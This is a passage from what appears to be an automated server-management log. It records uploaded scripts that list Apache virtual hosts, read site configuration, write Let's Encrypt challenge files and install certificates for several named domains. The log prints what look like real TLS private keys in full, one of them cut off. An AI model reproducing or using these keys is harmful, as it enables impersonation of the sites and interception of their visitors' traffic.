	/usr/sbin/apachectl -S
fi
echo .

2025-12-01 06:01:34: 

chmod 755 /tmp/pkp367560; /tmp/pkp367560; rm /tmp/pkp367560

2025-12-01 06:01:34: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-01 06:01:34: 

PUT: /tmp/pkp384927

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-01 06:01:34: 

chmod 755 /tmp/pkp384927; /tmp/pkp384927; rm /tmp/pkp384927

2025-12-01 06:01:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf	1691

<VirtualHost *:80>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_secure_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-12-01 06:01:34: 

PUT: /tmp/pkp719362

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-01 06:01:34: 

chmod 755 /tmp/pkp719362; /tmp/pkp719362; rm /tmp/pkp719362

2025-12-01 06:01:34: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt	5519
96:98:61:00:9d:23:1b:84:4e:10:66:13:d7:f0:95:d1

-----BEGIN CERTIFICATE-----
MIIFdzCCBF+gAwIBAgISBplb+CNpsZSlF47y6TJtcYEPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMzAwWhcNMjYwMzAxMDUwMjU5WjAgMR4wHAYDVQQD
ExVzb3NyZXRyZWF0c2NhbmFkYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDZVLGnrn9gFrCfs+vMPz2gLQxYJY19ayV7rRbHvsvaxEMAVQwwTAMF
QoNeXU0sjobdXDpW8APbmI/d2DvP15ELwwb3ms6Xk0uWRB7t90kbJGa4Sz4P0sZz
9ie659OQE3Empk8WU5C7kmIWYBJMI4Cw9B/I4IBgznpR1vG9lhmWpn24IMvw5K9V
kJSVveguAAuCWczMPr9tmXe9ZyZpwJHStz4IO3Ud/1cHCRVOry393/VILlWbnWoC
lXU6JybkHNtMpP+/dZb84aSy61iETccS80CRAM6bvCdHG4PKTetC9SipgScaSgn+
MglC83b+AO06SNLT1IOP6FZOg+P9MWk1AgMBAAGjggKWMIICkjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFCXuJQVZGBZ3XOF+zZv1qyIqE8kWMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wgZEGA1UdEQSBiTCBhoIOc29zcmV0cmVh
dHMuY2GCFHNvc3JldHJlYXRzY2FuYWRhLmNhghVzb3NyZXRyZWF0c2NhbmFkYS5j
b22CEnd3dy5zb3NyZXRyZWF0cy5jYYIYd3d3LnNvc3JldHJlYXRzY2FuYWRhLmNh
ghl3d3cuc29zcmV0cmVhdHNjYW5hZGEuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTYuY3Js
MIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUADleUvPOuqT4zGyyZB7P3kN+bwj1x
MiXdIaklrGHFTiEAAAGa2IB9UgAABAMARjBEAiB82keg5dMcDdZfNizPAujOwwyd
QlbbcTYsfeoNE1u8BwIgGzhm0HltEEnEgJz7c+xCuE4QP26PZWN7az3buv3FcUEA
dgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZrYgIUkAAAEAwBH
MEUCIQDkjz/uNqzUJzJx2FFo9h8bCW7ZppoarpGbGeeYQcgXjQIgV6Mu+eAueQhf
/a86Wf0kExFmm2MrmzPRP1ooI6/TcPgwDQYJKoZIhvcNAQELBQADggEBADkFiR8W
pQ1miPsqZS9un73zzbYKITel5w/8q/pDg7URu3Rm7Nb3A9kUotlxnaqiIxki3KWD
wOQb7SOWdsVXDoVh0RY7TyYYO9P7e/+x/V7fqYvq3CSrh2WG2e0fHLa6Pz3hGVk3
SAg0YQcyP+O8LY9iCPDwgnseaosiLm0Jvhrz3uIRikTAWek7rUqDCS4h3RCL6D2b
630RHYHiKqX0YugvOuHMCrPqIq7rBtemiBphZKmytIfsDvuaq/tXrfD0++qY6NM9
lPqXrHlqTzDulNIDgg0sTyEQoLAFO+bkHzgeZczhwJSmDMN+tY6gWos8+PPPcMeZ
8LlGbG28XYgMwI8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDZVLGnrn9gFrCf
s+vMPz2gLQxYJY19ayV7rRbHvsvaxEMAVQwwTAMFQoNeXU0sjobdXDpW8APbmI/d
2DvP15ELwwb3ms6Xk0uWRB7t90kbJGa4Sz4P0sZz9ie659OQE3Empk8WU5C7kmIW
YBJMI4Cw9B/I4IBgznpR1vG9lhmWpn24IMvw5K9VkJSVveguAAuCWczMPr9tmXe9
ZyZpwJHStz4IO3Ud/1cHCRVOry393/VILlWbnWoClXU6JybkHNtMpP+/dZb84aSy
61iETccS80CRAM6bvCdHG4PKTetC9SipgScaSgn+MglC83b+AO06SNLT1IOP6FZO
g+P9MWk1AgMBAAECggEAPFPWPMWjdfjWbn5zJe8oHB5lHtLNw9LKRNp3SFseG0v/
jUgOahmvfPZJoRglJAksRqYjS560c3CV/u7XK4qbKLiqZnECh/DLOpsOOuA52t7v
5Jh+UcYgcHAT9z4C7Ct5bVEdAwWPV4H62FsyuQ/h2Tzq1cf72uN18OHJmObhk3+A
voUSKMyXO+YSOoQzMwdErPQ861r+jUGCCpGg5qOv/g7MUl3mczx8L/X8SUBR/oro
P98b4uaQ9ATxc7wWXE8buXwXPcc+96NHgHkXsGK46g0q546wtGpQ/I+ylFMUBDQt
gikskJgZyCQXIvcPr5GK8AlL9KeXQUKwhfhYu8jawQKBgQD0OC2jvBy+HPdpDkiY
tBB02cm8NM4E13/sKinrPtmsOMYjeLAoyMt7kKvRoH/T32uvvoSbfn80IQcY5JDO
PdwhLzZrR3Y5S3NFn5ct+kAbK2qkkXhUdRCS8ZidOf9dbR0vw3fj/g9vOjT7hirK
9ESRMssYPUx4b/xttcCaO22+/wKBgQDj0HkdNB+G1De0ahkHjO06gtYshDDe8fY0
uJAmyZIlS5ry6tASOiSODzaXOScWlrrf13ZznL7qh9yjIry0noVJMSKxX+1mQ7/j
o2s9/olgEq13AaZObXBJthe9Tc6Mm2nZEAvBvAXFxD5bxD1Dss8f5BUWtG1OxX6v
D4TwUAoLywKBgQC6ghTI0KaawgBoqNHkXM+cjZ61LxaPOAynzWOKFsuh7RHUkRzn
aMGNsmSliQ9WPXA+HR+kqKx4oSiMaDH2b+OnLClBMKgnBWoZJ9IK+OzwUu30lGvz
BBwOPJeyq1JMhUIe8gajhak/5pID7OjNalLbGJFmB5pY+B0to/pdTzl2/QKBgBy/
W+kxgKD0+qqLkOkBAZaWmAw6Cii4A8eXWqlqWkTWi5EHzIXgTGiYxtzCW4pgLui8
ObhRGU5jIpZ7dbCdKFiaGLSlVEHJXteM8aV7Dz7OXJFd5eyTps3Gaqx6uwvHOM4p
VjJ2VYwlPXE7DDgUwkpV78tTrU95YIkavj3M+9eNAoGAedrCw7hzsZmZMtfhqjkU
My5cfLbu2ikDFUmFA8fhTUmR0ACuOdO2eaCjgNBoMDd9LNItKGjjcLiG/MVzzC1a
1BgTn+HSEqx0QPthk2AuUd6iN8rS/zIgir/zxWJaeXGHwPNk0dHiRALnK75RzBjO
bZBQljie+3VCnA6sAQuulEI=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-01 06:01:34: Establishing a connection
2025-12-01 06:01:36: Establishing a connection
2025-12-01 06:01:37: 

PUT: /tmp/pkp607247

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-01 06:01:37: 

chmod 755 /tmp/pkp607247; /tmp/pkp607247; rm /tmp/pkp607247

2025-12-01 06:01:38: 


0


2025-12-02 06:00:02: Establishing a connection
2025-12-02 06:00:03: Establishing a connection
2025-12-02 06:00:05: 

PUT: /tmp/pkp960557

#!/bin/bash
if [ -d "/var/www/carelinks/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-02 06:00:06: 

chmod 755 /tmp/pkp960557; /tmp/pkp960557; rm /tmp/pkp960557

2025-12-02 06:00:06: 


1


2025-12-02 06:00:07: Establishing a connection
2025-12-02 06:00:09: 

PUT: /tmp/pkp553176

#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
cat > k6dyTiNOOsH_4cRAOumvE92TS0DDicihPDaCuOKXcV4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
k6dyTiNOOsH_4cRAOumvE92TS0DDicihPDaCuOKXcV4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 k6dyTiNOOsH_4cRAOumvE92TS0DDicihPDaCuOKXcV4
cat > -0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
-0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 -0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4


2025-12-02 06:00:10: 

chmod 755 /tmp/pkp553176; /tmp/pkp553176; rm /tmp/pkp553176

2025-12-02 06:00:10: 


chmod: invalid mode: ‘-0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4’
Try 'chmod --help' for more information.




STDERR:
chmod: invalid mode: ‘-0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4’
Try 'chmod --help' for more information.


2025-12-02 06:00:18: Establishing a connection
2025-12-02 06:00:19: 

PUT: /tmp/pkp725021

#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
rm k6dyTiNOOsH_4cRAOumvE92TS0DDicihPDaCuOKXcV4
rm -0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4


2025-12-02 06:00:20: 

chmod 755 /tmp/pkp725021; /tmp/pkp725021; rm /tmp/pkp725021

2025-12-02 06:00:20: 


rm: invalid option -- '0'
Try 'rm ./-0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4' to remove the file '-0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4'.
Try 'rm --help' for more information.




STDERR:
rm: invalid option -- '0'
Try 'rm ./-0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4' to remove the file '-0RCfp00VgYZL5kZ_1LptifpDdd9ToFQ6aD1UQl8GF4'.
Try 'rm --help' for more information.


2025-12-02 06:00:20: Establishing a connection
2025-12-02 06:00:21: 

PUT: /tmp/pkp355379

#!/bin/bash
temp_file=$(mktemp)
TARGET=ce22a54aea805c8590de46790a6979d7.crt

cat > $temp_file <<'endmsg'
3c:27:23:53:43:1c:87:de:9c:c9:ce:ad:3a:5b:24:db

-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBZbkmi3uL+sUpriRuUZ/5NpRMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAyMDUwMTQ3WhcNMjYwMzAyMDUwMTQ2WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3Mub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
vT1DcRx+1kmH2dbfaRGJyrW2tcL0/266f0azFrCPqpLYcKUvU0sK8cYKSub44Zef
nEN2VJ9QhAzUXr09rcdiJGtbuK0tUGyjZJ3qRI+jcnSGN4w/4NiZx/9hQTP45xwV
ycQdykxPc4bJjVcqnLkOUWHa/4KIBNk+xPIjv4yPut/Q3fchE4gHpvhvyw6ZN/aI
XB+aHtZuTP9laCwAb26hGHXq0JYlWbDsDMk81elqS9CIeo8n2o2xFx4J97C5sSY9
a0dylQAusX1eiP3SA8/J0Z0LfObXAOHDmXm4cmoPbqQLHgueYfv6EVkLAAdg+pKb
xbvw7GvTFqWWk0hxFIbnswIDAQABo4ICMDCCAiwwDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBSejYx4Y1cqg7hD3ZoQmes4514PHjAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5vcmeCEXd3dy5j
YXJlbGlua3Mub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvODIuY3JsMIIBBAYKKwYBBAHWeQIE
AgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGa
3aW8OQAABAMARzBFAiBhHXgC9IqHB8tZxU2v+g3qFQ0b8hR7rr5XL6MTwtedgwIh
AP29M/8B/5LrX0evRxq8yPOtZW8GD3cP+C7Ie1S/+o0qAHYADleUvPOuqT4zGyyZ
B7P3kN+bwj1xMiXdIaklrGHFTiEAAAGa3aW8MQAABAMARzBFAiEAnDRE++3GkbLo
zU4ENDgPHD47iNaqzgLfsw94VCUN8LYCIFE5bQHHyOVC3HBi97NtYQwSAqrLksME
PQb+3izymTCDMA0GCSqGSIb3DQEBCwUAA4IBAQCLSz5rXQJMQerG23IGBRGT+XUd
0rBRmibNxe+L5ngwD5HvDII/FxH2R5v6oFWNjfMlRinEXgUf9VfNb2/qeM0PeBgH
I+wSovSGME8O2diGDVwAXjMlVSjUpuWEkucX+CPFJ+VZ1uvXuAY1znh6OQQC5KpS
aAFJBy1aWSs+nHWR2rNg8vzXQQQojuoi7pIdVFcaCbnW2I/tYpJQuIi+XVPhvOcV
PKiE7bijAZGP5uStR1i7kqYxIxvGG7JV9yxaUdQrFpQhYb/WXX0b+N/FvkXzWRAo
9fsgYh1DuLk8DylKe9vO7R/+GARjPUP2Xc4lbak7Q3VSXJxyUEG/WyyuiJTD
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC9PUNxHH7WSYfZ
1t9pEYnKtba1wvT/brp/RrMWsI+qkthwpS9TSwrxxgpK5vjhl5+cQ3ZUn1CEDNRe
vT2tx2Ika1u4rS1QbKNknepEj6NydIY3jD/g2JnH/2FBM/jnHBXJxB3KTE9zhsmN
VyqcuQ5RYdr/gogE2T7E8iO/jI+639Dd9yETiAem+G/LDpk39ohcH5oe1m5M/2Vo
LABvbqEYderQliVZsOwMyTzV6WpL0Ih6jyfajbEXHgn3sLmxJj1rR3KVAC6xfV6I
/dIDz8nRnQt85tcA4cOZebhyag9upAseC55h+/oRWQsAB2D6kpvFu/Dsa9MWpZaT
SHEUhuezAgMBAAECggEAMsSyyS+p33dOmOSKfzeTTey+Hbk13Skpo2emOBoaENrg
cif+sEvbnc1RiZK5hlwVF+kJX951zVdbyibe2zY4YCjlLIBZPdBHbYDoDoiygsw8
Db70jC/P4dXjk4iL6ASi28RfcZxTXFz2yZJu/iivbKniBNZSA2r86f1EFelxzeIz
cYPVDUFNmL7s4hsDTZUldQwC39UMS1eEN9OAtomQzqArJfJu2P1pNJVw/4uMQxu/
0W9nuBGlHQBXPIxqZerfJ1xbRphh3ltVBPtGMxnF4Gou37u1+0E9Mll9uS7jh780
qpjcixnn9tK8N4Iz5NmwuLjN/0FSAhLtLDrc1HkBwQKBgQDolikCDx0N/fvruMcs
EfP3jOmNldlnpfGiNRJWKTMxSPkPayexHmzBG7z3XyIXc9JwID2Yb20vDqqH2E7G
jf9E0JIEUmWEr1WP+3R6Xd56euKPTeGNyut3VeC9PNma931jrB48/bmJyRcgSHih
Rg/pAdZ9i7fPcMLQ4l9dTBv0gwKBgQDQSgdkr+7+/QzbpsRVaAyY339RWX5g1Wqp
9iebKP2uas2kH5sr/dFfAmxvF5qvNHrOOTDIW2k79Y9QqacY/UbfLbeTjMePuxVh
7Znz/eMzhpoc/UYkVHZ7CbIVDv/jsnz9rJzB/ErH3d6SL8MABHPwumF3GrT8Z9/Q
GXQGmdO5EQKBgBScuiWkkT6cM6dASOZu8OAPbONPVGULH87wRR+9pvvHK8tiA7J+
r8StYKHLnInXid7F/K91sIdrFVHUqaaPDwBaO5aGdti7cSnBbyEpEH5qRYnNrR+T
zCpXQgODUQWayVH7/vIIylibqaECyy3/t4k+0HNv3mpT4+//H9R02kVhAoGAeiNO
3o4EGWYNyieqbWKMMICuSeeuod3DpFKBuwx4ZXSfjaQy+8LkqU/kgehXfnHJqXAD
2RkxRkWiemxhXdf3XRuT0GP3CaNs0HXhlx/DwQ0nBeTG4rrclx2CXbLj/oNFpAM6
EM5+k2DZCOQU9selrP299XeltXS7221xigVeD+ECgYBaTa1VSA+G92XYp2Ah0Hb9
gQ39ITu5ssc5zEPIGbjaN++aQKNDXO9fYKZDtW0ohweK8ta+ZhkQkxLr6krH/RLV
